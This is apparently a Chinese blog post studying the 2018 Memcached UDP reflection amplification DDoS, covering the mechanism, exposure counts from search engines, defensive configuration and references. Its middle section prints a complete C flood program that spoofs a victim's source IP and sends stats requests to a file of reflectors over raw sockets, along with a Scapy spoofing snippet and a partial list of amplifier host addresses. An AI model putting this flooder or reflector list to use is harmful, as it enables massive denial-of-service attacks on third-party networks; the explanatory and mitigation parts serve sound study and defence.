【漏洞学习】Memcached服务器UDP反射放大攻击

1、前言

2月28日,Memcache服务器被曝出存在UDP反射放大攻击漏洞。攻击者可利用这个漏洞来发起大规模的DDoS攻击,从而影响网络正常运行。漏洞的形成原因为Memcache 服务器UDP 协议支持的方式不安全、默认配置中将 UDP 端口暴露给外部链接。

2、原理分析

这个漏洞的攻击方式属于DRDOS(Distributed Reflection Denial of Service)分布式反射拒绝服务攻击。

  • DRDOS

对于分布式还有拒绝服务都很好理解,反射的意思简单来说就是借别人的手来攻击。Memcache满足被借用的条件就可以借用Memcache的手来攻击其他主机。

  • Memcached攻击原理

攻击者向端口11211 上的 Memcache 服务器发送小字节请求。由于 UDP 协议并未正确执行,因此 Memcache 服务器并未以类似或更小的包予以响应,而是以有时候比原始请求大数千倍的包予以响应。由于 UDP 协议即包的原始 IP 地址能轻易遭欺骗,也就是说攻击者能诱骗 Memcache 服务器将过大规模的响应包发送给另外一个 IP 地址即 DDoS 攻击的受害者的 IP 地址。这种类型的 DDoS 攻击被称为“反射型 DDoS”或“反射 DDoS”。响应数据包被放大的倍数被称为 DDoS 攻击的“放大系数”。

3、影响范围

  • Shadon

shadon搜索可得到约 65890个结果。

  • ZoomEye

ZoomEye找到约 205,972 条结果

4、基础知识

所有放大攻击背后的想法都是一样的。攻击者使用源IP欺骗的方法向有漏洞的UDP服务器发送伪造请求。UDP服务器,不知道请求是伪造的,礼貌地准备响应。当成千上万的响应被传递给一个不知情的目标主机时,这个攻击问题就会发生。那么我们就需要了解两件事,一是Memcached如何对数据的存取,二是如何伪造IP。

翻阅互联网文章发现一条使用NC测试自身是否存在漏洞的命令。-q1是1秒后退出,-u是指定UDP协议发送

echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211

根据以上两点线索为引子搜索资料。

  • Memcached

网上的POC大多数都是用了Memcached缓存系统的几个关键命令stats、set、get 命令。查阅这几个命令的详细功能参数如下:

    • set 命令

Memcached set 命令用于将 value(数据值) 存储在指定的 key(键) 中。

如果set的key已经存在,该命令可以更新该key原来所对应的数据,实现更新的作用。

语法:

set 命令的基本语法格式如下:

set key flags exptime bytes [noreply]
value 

参数说明如下:

key:键值 key-value 结构中的 key,用于查找缓存值。
flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)
bytes:在缓存中存储的字节数
noreply(可选): 该参数告知服务器不需要返回数据
value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)

实例

以下实例中我们设置:

  • key → runoob
  • flag → 0
  • exptime → 900 (以秒为单位)
  • bytes → 9 (数据存储的字节数)
  • value → memcached
set runoob 0 900 9
memcached
STORED
get runoob
VALUE runoob 0 9
memcached
END

输出

如果数据设置成功,则输出:

STORED

输出信息说明:

    STORED:保存成功后输出。
    ERROR:在保存失败后输出。
  • Python-网络协议库Scapy模块

python中有个模块scapy,可以伪造源IP

from scapy.all import *
send(IP(src=‘10.0.10.10‘,dst="www.baidu.com")/TCP(dport=80))

tcpdump抓包:sudo tcpdump host 115.239.210.27 会发现源IP有所改变。

5、代码编写技巧

Python版本POC

C语言版本POC

/**
memcached-PoC

memcached Proof of Concept Amplification via spoofed source UDP packets. Repo includes source code for PoC and approximately 17,000 AMP hosts.

memcached.c - Source code (https://pastebin.com/raw/ZiUeinae)
memecache-amp-03-05-2018-rd.list - List of memcached servers as of 03-05-2018 (https://pastebin.com/raw/eSCHTTVu)

Compile: gcc memcached.c -o memecached -pthread

*Educational and/or testing purposes only. *Use of these tools against an unauthorized party may be unethtical, rude, and even illegal in some countries.

**/

/*
   memcache reflection script
   greeting: syn, storm, krashed, chrono, spike, niko, disliked
   Use with extreme Caution
*/

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
    struct sockaddr_in data;
    struct list *next;
    struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++)
    {
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}
uint32_t rand_cmwc(void)
{
    uint64_t t, a = 18782LL;
    static uint32_t i = 4095;
    uint32_t x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c) {
    x++;
    c++;
    }
    return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
    unsigned long sum = 0;
    for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
    iph->id = htonl(54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;
    iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
    udph->source = htons(5678);
    udph->dest = htons(11211);
    udph->check = 0;
    memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15); // 使用 stats 命令来输出 Memcached 服务信息
    udph->len=htons(sizeof(struct udphdr) + 15);
}
// 主要攻击函数-线程回调函数
void *flood(void *par1)
{
    struct thread_data *td = (struct thread_data *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
    struct sockaddr_in sin = td->sin;
    struct  list *list_node = td->list_node;
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if(s < 0){
    fprintf(stderr, "Could not open raw socket.\n");
    exit(-1);
    }
    init_rand(time(NULL));
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_udp_header(udph);
    udph->source = htons(rand() % 65535 - 1026);
    iph->saddr = sin.sin_addr.s_addr;
    iph->daddr = list_node->data.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
    fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
    exit(-1);
    }
    init_rand(time(NULL));
    register unsigned int i;
    i = 0;
    while(1){
        sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));   //UDP发送数据
        list_node = list_node->next;
        iph->daddr = list_node->data.sin_addr.s_addr;
        iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

        pps++;
        if(i >= limiter)
        {
            i = 0;
            usleep(sleeptime);
        }
        i++;
    }
}
int main(int argc, char *argv[ ])
{
        // 参数小于6,添加说明
    if(argc < 6){
    fprintf(stderr, "Invalid parameters!\n");
    fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
        exit(-1);
    }
    srand(time(NULL));   //生成随机数种子
    int i = 0;
    head = NULL;
    fprintf(stdout, "Setting up sockets...\n");
    int max_len = 128;
    char *buffer = (char *) malloc(max_len);
    buffer = memset(buffer, 0x00, max_len);
    int num_threads = atoi(argv[4]);    // 线程数
    int maxpps = atoi(argv[5]);             // 开启PPS 速率
    limiter = 0;
    pps = 0;
    int multiplier = 20;
    FILE *list_fd = fopen(argv[3],  "r"); // 读取文件中的IP地址
    while (fgets(buffer, max_len, list_fd) != NULL) {
        if ((buffer[strlen(buffer) - 1] == ‘\n‘) ||
                (buffer[strlen(buffer) - 1] == ‘\r‘)) {
            buffer[strlen(buffer) - 1] = 0x00;
            if(head == NULL)
            {
                head = (struct list *)malloc(sizeof(struct list));
                bzero(&head->data, sizeof(head->data));
                head->data.sin_addr.s_addr=inet_addr(buffer);     // 漏洞IP地址填写
                head->next = head;
                head->prev = head;
            } else {
                struct list *new_node = (struct list *)malloc(sizeof(struct list));
                memset(new_node, 0x00, sizeof(struct list));
                new_node->data.sin_addr.s_addr=inet_addr(buffer);
                new_node->prev = head;
                new_node->next = head->next;
                head->next = new_node;
            }
            i++;
        } else {
            continue;
        }
    }
    struct list *current = head->next;
    pthread_t thread[num_threads];
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(argv[1]);    //受攻击主机填写
    struct thread_data td[num_threads];
    for(i = 0;i<num_threads;i++){
        td[i].thread_id = i;
        td[i].sin= sin;
        td[i].list_node = current;                        //存储漏洞IP
        pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
    }
    fprintf(stdout, "Starting flood...\n");
    for(i = 0;i<(atoi(argv[6])*multiplier);i++)      // 时间控制
    {
        usleep((1000/multiplier)*1000);
        if((pps*multiplier) > maxpps)
        {
            if(1 > limiter)
            {
                sleeptime+=100;
            } else {
                limiter--;
            }
        } else {
            limiter++;
            if(sleeptime > 25)
            {
                sleeptime-=25;
            } else {
                sleeptime = 0;
            }
        }
        pps = 0;
    }
    return 0;
}
// memcached AMP list (Approx 17,000 hosts) DATE: 03-06-2018 - Remove this top line for use with most testing tools.
85.62.36.xx
112.78.10.xx
202.105.247.xx
121.40.71.xx
101.201.199.xx
129.144.63.xx
61.141.124.xx
103.100.209.xx
113.96.195.xx
47.90.76.xx
83.164.193.xx
74.122.193.xx
120.76.207.xx
120.24.69.xx
129.144.61.xx
105.212.115.xx
130.226.11.xx
179.108.253.xx
203.11.105.xx

6、防御策略

    1. 设置访问控制规则

例如,在Linux环境中运行命令iptables -A INPUT -p tcp -s 192.168.0.2 —dport 11211 -j ACCEPT,在iptables中添加此规则只允许192.168.0.2这个IP对11211端口进行访问。

  • 2 绑定监听IP

如果Memcached没有在公网开放的必要,可在Memcached启动时指定绑定的IP地址为 127.0.0.1。例如,在Linux环境中运行以下命令:

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

  • 3 使用最小化权限账号运行Memcached服务

使用普通权限账号运行,指定Memcached用户。例如,在Linux环境中运行以下命令来运行Memcached:

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

  • 4 启用认证功能

Memcached本身没有做验证访问模块,Memcached从1.4.3版本开始,能支持SASL认证。SASL认证详细配置手册

  • 5 修改默认端口

修改默认11211监听端口为11222端口。在Linux环境中运行以下命令:

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

7、参考

【Memcached Servers Can Be Abused for Insanely Massive DDoS Attacks】

https://www.bleepingcomputer.com/news/security/memcache-servers-can-be-abused-for-insanely-massive-ddos-attacks/

【Memcache服务器可用于发动超大规模的DDoS攻击,影响严重】

https://www.anquanke.com/post/id/99241

【Memcrashed - Major amplification attacks from UDP port 11211】

https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/

【Memcached之反射拒绝服务攻击技术原理】

http://blog.topsec.com.cn/ad_lab/memcached%e4%b9%8b%e5%8f%8d%e5%b0%84%e6%8b%92%e7%bb%9d%e6%9c%8d%e5%8a%a1%e6%94%bb%e5%87%bb%e6%8a%80%e6%9c%af%e5%8e%9f%e7%90%86/?from=timeline

【Memcached-PoC memcache reflection script】

https://pastebin.com/raw/ZiUeinae

【Memcached set 命令】

http://www.runoob.com/memcached/memcached-set-data.html

【How to send only one UDP packet with netcat】

https://stackoverflow.com/questions/9696129/how-to-send-only-one-udp-packet-with-netcat

原文地址:https://www.cnblogs.com/17bdw/p/8608562.html

时间: 2024-08-24 05:22:00

【漏洞学习】Memcached服务器UDP反射放大攻击的相关文章

ntp服务器被反射放大攻击的处理方法

前言: 首先说明下什么是反射放到攻击? NTP是用UDP传输的,所以可以伪造源地址.NTP协议中有一类查询指令,用短小的指令即可令服务器返回很长的信息.放大攻击就是基于这类指令的.比如,小明以吴一帆的名义问李雷"我们班有哪些人?" 李雷就回答吴一帆说"有谁谁谁和谁谁谁--"(几百字)那么小明就以8个字的成本,令吴一帆收到了几百字的信息,所以叫做放大攻击.网络上一般NTP服务器都有很大的带宽,攻击者可能只需要1Mbps的上传带宽欺骗NTP服务器,即可给目标服务器带来几

DNS反射放大攻击分析——DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器

DNS反射放大攻击分析 摘自:http://www.shaojike.com/2016/08/19/DNS%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90/ 简介 DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器. 简单对比下正常的DNS查询和攻击者的攻击方式: 正常DNS查询:源IP地址 -–DNS查询--> DN

TFTP反射放大攻击浅析

0x00 前言 经由@杀戮提示,让我看看softpedia上的这篇报道,咱就来研究一下文中的使用TFTP(Trivial File Transfer Protocol,简单文件传输协议)进行反射型DDOS攻击.在报道的最后提到了Evaluation of TFTP DDoS amplification attack这篇论文,论文还是比较学术派和严谨的,其中使用GNS3和虚拟机搭建模拟环境,尽量严格控制相关变量与不变量,对TFTPD32,SolarWinds,OpenTFTP三种TFTP服务器进行

UDP反射DDoS攻击原理和防范

东南大学:UDP反射DDoS攻击原理和防范 2015-04-17 中国教育网络 李刚 丁伟 反射攻击的防范措施 上述协议安装后由于有关服务默认处于开启状态,是其被利用的一个重要因素.因此,防范可以从配置主机服务选项和访问控制权限(ACL)入手.具体建议如下: Chargen攻击防范配置方法 关闭Chargen服务,具体的操作方法: 1.Linux系统:在/etc/inetd.conf文件中注释掉'chargen'服务,或者在/etc/xinetd.d/目录下将chargen服务对应的文件中的"d

NTP反射放大攻击分析

前一阵子NTP放大攻击挺活跃的,现在来简单分析一下. 攻击原理: 1.  利用UDP协议的天然脆弱点,即不需要前期建立连接,直接就可以向client发送数据: 2.  Internet上存在大量开放分布式的NTPServer,进行对同步请求的响应. 3.  比DNS反射放大攻击威力更大的区别是NTP特有的一个Monlist功能,(Monlist指令,可以获取与目标NTP Server进行过同步的最后600个客户机IP.这意味着,一个很小的请求包,就能获取到大量的活动IP地址组成的连续UDP包).

基于UDP的DDos反射放大攻击

转自:https://www.us-cert.gov/ncas/alerts/TA14-017A Protocol Bandwidth Amplification Factor DNS 28 to 54 NTP 556.9 SNMPv2 6.3 NetBIOS 3.8 SSDP 30.8 CharGEN 358.8 QOTD 140.3 BitTorrent 3.8 Kad 16.3 Quake Network Protocol 63.9 Steam Protocol 5.5 Multicast

可以通过shadowserver来查看开放的mdns(用以反射放大攻击)——中国的在 https://mdns.shadowserver.org/workstation/index.html

Open mDNS Scanning Project 来自:https://mdns.shadowserver.org/ If you are looking at this page, then more than likely, you noticed a scan coming from this server across your network and/or poking at Multicast DNS (mDNS). The Shadowserver Foundation is

记一次ntp反射放大ddos攻击

2018/3/26 ,共计310G左右的DDoS攻击 临时解决办法:将web服务转移到同生产一个内网段的备份服务器a上,a提供web端口80,数据库通过内网连接还是沿用生产数据库. 抓包分析 NTP反射和放大攻击 无论是基于 DNS 还是基于 NTP,其最终都是基于 UDP 协议的.在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响

反射放大DDOS攻击

CLDAP Reflection DDoS LDAP: 全称为Lightweight Directory Access Protocol,即轻量目录访问协议,基于X.500标准: 目录服务就是按照树状存储信息的模式: 支持TCP/IP: 端口 389 (明文) / 636 (LDAP over SSL) CLADP:面向无连接的LDAP,解决LDAP在数据传输时,绑定操作和数据搜索等频繁的操作对资源的消耗问题. CLDAP的DDoS原理: CLDAP中只提供三种操作:searchRequest.